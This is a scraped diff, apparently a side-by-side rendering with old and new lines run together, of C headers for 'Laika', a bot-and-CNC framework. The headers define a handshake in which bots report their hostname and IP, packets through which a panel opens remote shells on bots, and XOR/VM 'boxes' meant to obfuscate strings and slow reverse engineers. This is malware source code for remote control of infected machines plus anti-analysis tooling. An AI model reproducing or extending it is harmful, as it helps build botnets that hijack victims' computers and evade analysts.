# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline # define LAIKA_FORCEINLINE __attribute__((always_inline)) inline
#else #else
# define LAIKA_FORCEINLINE __forceinline # define LAIKA_FORCEINLINE __forceinline
#endif #endif
LAIKA_FORCEINLINE int MIN(int a, int b) { LAIKA_FORCEINLINE int MIN(int a, int b)
{
return a < b ? a : b; return a < b ? a : b;
} }
LAIKA_FORCEINLINE int MAX(int a, int b) { LAIKA_FORCEINLINE int MAX(int a, int b)
{
return a > b ? a : b; return a > b ? a : b;
} }

View File

@ -1,38 +1,43 @@
#ifndef LAIKA_BOX_H #ifndef LAIKA_BOX_H
#define LAIKA_BOX_H #define LAIKA_BOX_H
#include <inttypes.h>
#include "laika.h" #include "laika.h"
#include "lmem.h" #include "lmem.h"
#include "lvm.h"
#include "lsodium.h" #include "lsodium.h"
#include "lvm.h"
#include <inttypes.h>
#define LAIKA_BOX_SCRATCH_SIZE 128 #define LAIKA_BOX_SCRATCH_SIZE 128
#define LAIKA_BOX_HEAPSIZE 256 #define LAIKA_BOX_HEAPSIZE 256
enum { enum
{
LAIKA_BOX_UNLOCKED_INDX, /* for output */ LAIKA_BOX_UNLOCKED_INDX, /* for output */
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */ LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
LAIKA_BOX_DATA_INDX /* for input */ LAIKA_BOX_DATA_INDX /* for input */
}; };
/* Laika Box: /* Laika Box:
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short amount of time. Laika Boxes are obfuscated storage mediums where data is only in memory for a very short
Of course, this can be bypassed with a simple debugger and setting a breakpoint right after the data is 'unlocked', amount of time. Of course, this can be bypassed with a simple debugger and setting a breakpoint
but the game of obfuscation isn't to prevent the data from being seen, it's to slow the reverse engineer down. right after the data is 'unlocked', but the game of obfuscation isn't to prevent the data from
being seen, it's to slow the reverse engineer down.
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful 2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable. make it more painful for the reverse engineer to quickly dump boxes from memory, forcing them to
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string set breakpoints across the executable. Each box has its own VM, with it's own deobfuscation
dumping. These apis, while can be used directly, are abstracted through macros with the pre-built boxes. routine. This makes static analysis a painful route for string dumping. These apis, while can be
used directly, are abstracted through macros with the pre-built boxes.
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in `lboxconfig.h` are passed Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in
to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will be extended in the future with more boxes and such, `lboxconfig.h` are passed to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will
however for the time being only LAIKA_BOX_SKID_* is implemented. be extended in the future with more boxes and such, however for the time being only
LAIKA_BOX_SKID_* is implemented.
*/ */
struct sLaikaB_box { struct sLaikaB_box
{
uint8_t unlockedData[LAIKA_BOX_HEAPSIZE]; uint8_t unlockedData[LAIKA_BOX_HEAPSIZE];
uint8_t scratch[LAIKA_BOX_SCRATCH_SIZE]; uint8_t scratch[LAIKA_BOX_SCRATCH_SIZE];
uint8_t code[LAIKA_VM_CODESIZE]; uint8_t code[LAIKA_VM_CODESIZE];
@ -40,74 +45,74 @@ struct sLaikaB_box {
/* ======================================[[ Box Var API ]]====================================== */ /* ======================================[[ Box Var API ]]====================================== */
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \ #define LAIKA_BOX_STARTVAR(type, ident, box, data) \
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \ uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
type ident; \ type ident; \
struct sLaikaB_box __box##ident = box; \ struct sLaikaB_box __box##ident = box; \
laikaB_unlock(&__box##ident, __data##ident); \ laikaB_unlock(&__box##ident, __data##ident); \
ident = (type)__box##ident.unlockedData; ident = (type)__box##ident.unlockedData;
#define LAIKA_BOX_ENDVAR(ident) \ #define LAIKA_BOX_ENDVAR(ident) laikaB_lock(&__box##ident);
laikaB_lock(&__box##ident);
#ifdef LAIKA_OBFUSCATE #ifdef LAIKA_OBFUSCATE
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \ # define LAIKA_BOX_SKID_START(type, ident, strmacro) \
LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro) LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro)
# define LAIKA_BOX_SKID_END(ident) \ # define LAIKA_BOX_SKID_END(ident) LAIKA_BOX_ENDVAR(ident)
LAIKA_BOX_ENDVAR(ident)
#else /* disable obfuscations */ #else /* disable obfuscations */
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \ # define LAIKA_BOX_SKID_START(type, ident, strmacro) type ident = strmacro;
type ident = strmacro; # define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
#endif #endif
/* ======================================[[ Laika Boxes ]]====================================== */ /* ======================================[[ Laika Boxes ]]====================================== */
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */ /* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
#define LAIKA_BOX_SKID(_key) { \ #define LAIKA_BOX_SKID(_key) \
.unlockedData = {0}, /* reserved */ \ { \
.code = { /* stack layout: \ .unlockedData = {0}, /* reserved */ \
[0] - unlockedData (ptr) \ .code = { /* stack layout: \
[1] - data (ptr) \ [0] - unlockedData (ptr) \
[2] - key (uint8_t) \ [1] - data (ptr) \
[3] - working data (uint8_t) \ [2] - key (uint8_t) \
*/ \ [3] - working data (uint8_t) \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \ */ \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \ LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), \ LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \
/* LOOP_START */ \ LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), /* LOOP_START */ \
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \ LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \ LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \ LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \ LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \ LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \ LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
OP_EXIT \ OP_EXIT \
} \ } \
} }
/* ======================================[[ Raw Box API ]]====================================== */ /* ======================================[[ Raw Box API ]]====================================== */
LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) { LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
{
struct sLaikaV_vm vm = { struct sLaikaV_vm vm = {
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */ /* boxes have 2 reserved constants, [0] for the output, [1] for the input */
.constList = { .constList =
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData), {
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch), [LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data), [LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
}, [LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
.code = {0}, },
.stack = {0}, .code = { 0 },
.stack = { 0 },
.pc = 0 .pc = 0
}; };
memcpy(vm.code, box->code, LAIKA_VM_CODESIZE); memcpy(vm.code, box->code, LAIKA_VM_CODESIZE);
laikaV_execute(&vm); laikaV_execute(&vm);
return (void*)box->unlockedData; return (void *)box->unlockedData;
} }
/* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */ /* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */
LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box) { LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
{
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE); sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE); sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
} }

View File

@ -1,18 +1,23 @@
#ifndef LAIKA_ERROR_H #ifndef LAIKA_ERROR_H
#define LAIKA_ERROR_H #define LAIKA_ERROR_H
#include <stdio.h>
#include <setjmp.h>
#include "laika.h" #include "laika.h"
#include <setjmp.h>
#include <stdio.h>
/* defines errorstack size */ /* defines errorstack size */
#define LAIKA_MAXERRORS 32 #define LAIKA_MAXERRORS 32
/* DO NOT RETURN/GOTO/BREAK or otherwise skip LAIKA_TRYEND */ /* DO NOT RETURN/GOTO/BREAK or otherwise skip LAIKA_TRYEND */
#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) { #define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) {
#define LAIKA_CATCH } else { #define LAIKA_CATCH \
#define LAIKA_TRYEND } --eLaika_errIndx; } \
else \
{
#define LAIKA_TRYEND \
} \
--eLaika_errIndx;
/* if eLaika_errIndx is >= 0, we have a safe spot to jump too if an error is thrown */ /* if eLaika_errIndx is >= 0, we have a safe spot to jump too if an error is thrown */
#define LAIKA_ISPROTECTED (eLaika_errIndx >= 0) #define LAIKA_ISPROTECTED (eLaika_errIndx >= 0)
@ -23,24 +28,25 @@
arguments are ignored. arguments are ignored.
*/ */
#ifndef DEBUG #ifndef DEBUG
#define LAIKA_ERROR(...) do { \ # define LAIKA_ERROR(...) \
if (LAIKA_ISPROTECTED) \ do { \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \ if (LAIKA_ISPROTECTED) \
else \ longjmp(eLaika_errStack[eLaika_errIndx], 1); \
exit(1); \ else \
} while(0); exit(1); \
#define LAIKA_WARN(...) ((void)0) /* no op */ } while (0);
# define LAIKA_WARN(...) ((void)0) /* no op */
#else #else
#define LAIKA_ERROR(...) do { \ # define LAIKA_ERROR(...) \
printf("[ERROR] : " __VA_ARGS__); \ do { \
if (LAIKA_ISPROTECTED) \ printf("[ERROR] : " __VA_ARGS__); \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \ if (LAIKA_ISPROTECTED) \
else \ longjmp(eLaika_errStack[eLaika_errIndx], 1); \
exit(1); \ else \
} while(0); exit(1); \
} while (0);
#define LAIKA_WARN(...) \ # define LAIKA_WARN(...) printf("[WARN] : " __VA_ARGS__);
printf("[WARN] : " __VA_ARGS__);
#endif #endif
extern int eLaika_errIndx; extern int eLaika_errIndx;

View File

@ -7,37 +7,39 @@
/* microsoft strikes again with their lack of support for VLAs */ /* microsoft strikes again with their lack of support for VLAs */
#if _MSC_VER #if _MSC_VER
#define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type)*sz); # define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type) * sz);
#define ENDVLA(var) laikaM_free(var); # define ENDVLA(var) laikaM_free(var);
#else #else
#define VLA(type, var, sz) type var[sz]; # define VLA(type, var, sz) type var[sz];
#define ENDVLA(var) ((void)0) /* no op */ # define ENDVLA(var) ((void)0) /* no op */
#endif #endif
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz) #define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
#define laikaM_free(buf) laikaM_realloc(buf, 0) #define laikaM_free(buf) laikaM_realloc(buf, 0)
#define laikaM_growarray(type, buf, needed, count, capacity) \ #define laikaM_growarray(type, buf, needed, count, capacity) \
if (count + needed >= capacity || buf == NULL) { \ if (count + needed >= capacity || buf == NULL) { \
capacity = (capacity + needed) * GROW_FACTOR; \ capacity = (capacity + needed) * GROW_FACTOR; \
buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \ buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \
} }
/* moves array elements above indx down by numElem, removing numElem elements at indx */ /* moves array elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvarray(buf, count, indx, numElem) do { \ #define laikaM_rmvarray(buf, count, indx, numElem) \
int _i, _sz = ((count-indx)-numElem); \ do { \
for (_i = 0; _i < _sz; _i++) \ int _i, _sz = ((count - indx) - numElem); \
buf[indx+_i] = buf[indx+numElem+_i]; \ for (_i = 0; _i < _sz; _i++) \
count -= numElem; \ buf[indx + _i] = buf[indx + numElem + _i]; \
} while(0); count -= numElem; \
} while (0);
/* moves array elements above indx up by numElem, inserting numElem elements at indx */ /* moves array elements above indx up by numElem, inserting numElem elements at indx */
#define laikaM_insertarray(buf, count, indx, numElem) do { \ #define laikaM_insertarray(buf, count, indx, numElem) \
int _i; \ do { \
for (_i = count; _i > indx; _i--) \ int _i; \
buf[_i] = buf[_i-1]; \ for (_i = count; _i > indx; _i--) \
count += numElem; \ buf[_i] = buf[_i - 1]; \
} while(0); count += numElem; \
} while (0);
void *laikaM_realloc(void *buf, size_t sz); void *laikaM_realloc(void *buf, size_t sz);

View File

@ -3,101 +3,108 @@
#include <inttypes.h> #include <inttypes.h>
#define LAIKA_MAGIC "LAI\x12" #define LAIKA_MAGIC "LAI\x12"
#define LAIKA_MAGICLEN 4 #define LAIKA_MAGICLEN 4
#define LAIKA_MAX_PKTSIZE 4096 #define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_HOSTNAME_LEN 64 #define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPSTR_LEN 64 #define LAIKA_IPSTR_LEN 64
#define LAIKA_INET_LEN 22 #define LAIKA_INET_LEN 22
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048 #define LAIKA_SHELL_DATA_MAX_LENGTH 2048
#define LAIKA_MAX_SHELLS 16 #define LAIKA_MAX_SHELLS 16
/* first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
- cnc responds with LAIKAPKT_HANDSHAKE_RES
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent
*/
/* encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
LAIKAPKT_ID pktID; -- plain text
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
*/
/* /*
first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
inet ip
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
- cnc responds with LAIKAPKT_HANDSHAKE_RES
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then
sent
encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
{
LAIKAPKT_ID pktID; -- plain text
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
}
any packet ending with *_RES is cnc 2 peer any packet ending with *_RES is cnc 2 peer
any packet ending with *_REQ is peer 2 cnc any packet ending with *_REQ is peer 2 cnc
if packet doesn't have either, it can be sent & received by both peer & cnc if packet doesn't have either, it can be sent & received by both peer & cnc
*/ */
enum {
/* =========================================[[ Peer ]]========================================== */ enum
{
/* =======================================[[ Peer ]]======================================== */
LAIKAPKT_VARPKT, LAIKAPKT_VARPKT,
/* layout of LAIKAPKT_VARPKT: /* layout of LAIKAPKT_VARPKT:
* LAIKAPKT_SIZE pktSize; * LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID; * LAIKAPKT_ID pktID;
*/ */
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */ LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!! /* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC * uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
* uint8_t majorVer; * uint8_t majorVer;
* uint8_t minorVer; * uint8_t minorVer;
* uint8_t osType; * uint8_t osType;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) * nonce with char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) char
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes) * inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
*/ */
LAIKAPKT_HANDSHAKE_RES, LAIKAPKT_HANDSHAKE_RES,
/* layout of LAIKAPKT_HANDSHAKE_RES: /* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t cncEndian; * uint8_t cncEndian;
*/ */
LAIKAPKT_PINGPONG, LAIKAPKT_PINGPONG,
/* layout of LAIKAPKT_PINGPONG: /* layout of LAIKAPKT_PINGPONG:
* NULL (empty packet) * NULL (empty packet)
*/ */
LAIKAPKT_SHELL_OPEN, LAIKAPKT_SHELL_OPEN,
/* layout of LAIKAPKT_SHELL_OPEN: /* layout of LAIKAPKT_SHELL_OPEN:
* uint32_t id; * uint32_t id;
* uint16_t cols; * uint16_t cols;
* uint16_t rows; * uint16_t rows;
*/ */
LAIKAPKT_SHELL_CLOSE, LAIKAPKT_SHELL_CLOSE,
/* layout of LAIKAPKT_SHELL_CLOSE: /* layout of LAIKAPKT_SHELL_CLOSE:
* uint32_t id; * uint32_t id;
*/ */
LAIKAPKT_SHELL_DATA, LAIKAPKT_SHELL_DATA,
/* layout of LAIKAPKT_SHELL_DATA /* layout of LAIKAPKT_SHELL_DATA
* uint32_t id; * uint32_t id;
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)]; * char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/ */
/* =========================================[[ Auth ]]========================================== */ /* =======================================[[ Auth ]]======================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */ LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel).
there is no response packet */
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ /* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType; * uint8_t peerType;
*/ */
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */ LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES /* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN]; * char hostname[LAIKA_HOSTNAME_LEN];
* char inet[LAIKA_INET_LEN]; * char inet[LAIKA_INET_LEN];
* char ipStr[LAIKA_IPSTR_LEN]; * char ipStr[LAIKA_IPSTR_LEN];
* uint8_t peerType; * uint8_t peerType;
* uint8_t osType; * uint8_t osType;
*/ */
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc */ LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc
*/
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES /* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType; * uint8_t peerType;
*/ */
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be open */ LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no
response packet, shell is assumed to be open */
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint16_t cols; * uint16_t cols;
* uint16_t rows; * uint16_t rows;
*/ */
LAIKAPKT_MAXNONE LAIKAPKT_MAXNONE
}; };
@ -105,7 +112,7 @@ typedef uint8_t LAIKAPKT_ID;
typedef uint16_t LAIKAPKT_SIZE; typedef uint16_t LAIKAPKT_SIZE;
#ifdef DEBUG #ifdef DEBUG
const char* laikaD_getPacketName(LAIKAPKT_ID); const char *laikaD_getPacketName(LAIKAPKT_ID);
#endif #endif
#endif #endif

View File

@ -2,66 +2,75 @@
#define LAIKA_PEER_H #define LAIKA_PEER_H
#include "laika.h" #include "laika.h"
#include "lsocket.h"
#include "lpacket.h" #include "lpacket.h"
#include "lpolllist.h" #include "lpolllist.h"
#include "lsocket.h"
#include "lsodium.h" #include "lsodium.h"
typedef enum { typedef enum
{
PEER_UNKNWN, PEER_UNKNWN,
PEER_BOT, PEER_BOT,
PEER_CNC, /* cnc 2 cnc communication */ PEER_CNC, /* cnc 2 cnc communication */
PEER_AUTH /* authorized peers can send commands to cnc */ PEER_AUTH /* authorized peers can send commands to cnc */
} PEERTYPE; } PEERTYPE;
typedef enum { typedef enum
{
OS_UNKNWN, OS_UNKNWN,
OS_WIN, OS_WIN,
OS_LIN OS_LIN
} OSTYPE; } OSTYPE;
#ifdef _WIN32 #ifdef _WIN32
# define LAIKA_OSTYPE OS_WIN # define LAIKA_OSTYPE OS_WIN
#else #else
# ifdef __linux__ # ifdef __linux__
# define LAIKA_OSTYPE OS_LIN # define LAIKA_OSTYPE OS_LIN
# else # else
# define LAIKA_OSTYPE OS_UNKNWN # define LAIKA_OSTYPE OS_UNKNWN
# endif # endif
#endif #endif
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
struct sLaika_peerPacketInfo { struct sLaika_peerPacketInfo
{
PeerPktHandler handler; PeerPktHandler handler;
LAIKAPKT_SIZE size; LAIKAPKT_SIZE size;
bool variadic; bool variadic;
}; };
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC} #define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) \
[ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
struct sLaika_peer { struct sLaika_peer
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */ {
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting
sLaika_peer* to sLaika_sock* works as intended */
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */ uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES]; uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN]; char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
struct sLaika_pollList *pList; /* pollList we're activeList in */ struct sLaika_pollList *pList; /* pollList we're activeList in */
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */ struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
void *uData; /* data to be passed to pktHandler */ void *uData; /* data to be passed to pktHandler */
LAIKAPKT_SIZE pktSize; /* current pkt size */ LAIKAPKT_SIZE pktSize; /* current pkt size */
LAIKAPKT_ID pktID; /* current pkt ID */ LAIKAPKT_ID pktID; /* current pkt ID */
PEERTYPE type; PEERTYPE type;
OSTYPE osType; OSTYPE osType;
int outStart; /* index of pktID for out packet */ int outStart; /* index of pktID for out packet */
int inStart; /* index of pktID for in packet */ int inStart; /* index of pktID for in packet */
bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */ bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */
}; };
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData); struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl,
struct sLaika_pollList *pList, pollFailEvent onPollFail,
void *onPollFailUData, void *uData);
void laikaS_freePeer(struct sLaika_peer *peer); void laikaS_freePeer(struct sLaika_peer *peer);
void laikaS_setSecure(struct sLaika_peer *peer, bool flag); void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); /* for sending packets with no body */ void laikaS_emptyOutPacket(struct sLaika_peer *peer,
LAIKAPKT_ID id); /* for sending packets with no body */
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
int laikaS_endOutPacket(struct sLaika_peer *peer); int laikaS_endOutPacket(struct sLaika_peer *peer);
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);

View File

@ -1,22 +1,24 @@
#ifndef LAIKA_POLLLIST_H #ifndef LAIKA_POLLLIST_H
#define LAIKA_POLLLIST_H #define LAIKA_POLLLIST_H
#include <stdbool.h> #include "hashmap.h"
#include "laika.h" #include "laika.h"
#include "lsocket.h" #include "lsocket.h"
#include "hashmap.h"
#include <stdbool.h>
/* number of pollFDs or epollFDs we expect to start with */ /* number of pollFDs or epollFDs we expect to start with */
#define POLLSTARTCAP 8 #define POLLSTARTCAP 8
struct sLaika_pollEvent { struct sLaika_pollEvent
{
struct sLaika_socket *sock; struct sLaika_socket *sock;
bool pollIn; bool pollIn;
bool pollOut; bool pollOut;
}; };
struct sLaika_pollList { struct sLaika_pollList
{
struct hashmap *sockets; struct hashmap *sockets;
struct sLaika_socket **outQueue; /* holds sockets which have data needed to be sent */ struct sLaika_socket **outQueue; /* holds sockets which have data needed to be sent */
struct sLaika_pollEvent *revents; struct sLaika_pollEvent *revents;

View File

@ -4,57 +4,58 @@
/* socket/winsock headers */ /* socket/winsock headers */
#ifdef _WIN32 #ifdef _WIN32
/* windows */ /* windows */
# ifndef NOMINMAX # ifndef NOMINMAX
# define NOMINMAX # define NOMINMAX
# endif # endif
# define _WINSOCK_DEPRECATED_NO_WARNINGS # define _WINSOCK_DEPRECATED_NO_WARNINGS
# include <winsock2.h> # include <windows.h>
# include <windows.h> # include <winsock2.h>
# include <ws2tcpip.h> # include <ws2tcpip.h>
# pragma comment(lib, "Ws2_32.lib") # pragma comment(lib, "Ws2_32.lib")
typedef char buffer_t; typedef char buffer_t;
# define PollFD WSAPOLLFD # define PollFD WSAPOLLFD
# define poll WSAPoll # define poll WSAPoll
# define LN_ERRNO WSAGetLastError() # define LN_ERRNO WSAGetLastError()
# define LN_EWOULD WSAEWOULDBLOCK # define LN_EWOULD WSAEWOULDBLOCK
# define LN_MSG_NOSIGNAL 0 # define LN_MSG_NOSIGNAL 0
# define SOCKETINVALID(x) (x == INVALID_SOCKET) # define SOCKETINVALID(x) (x == INVALID_SOCKET)
# define SOCKETERROR(x) (x == SOCKET_ERROR) # define SOCKETERROR(x) (x == SOCKET_ERROR)
#else #else
/* posix platform */ /* posix platform */
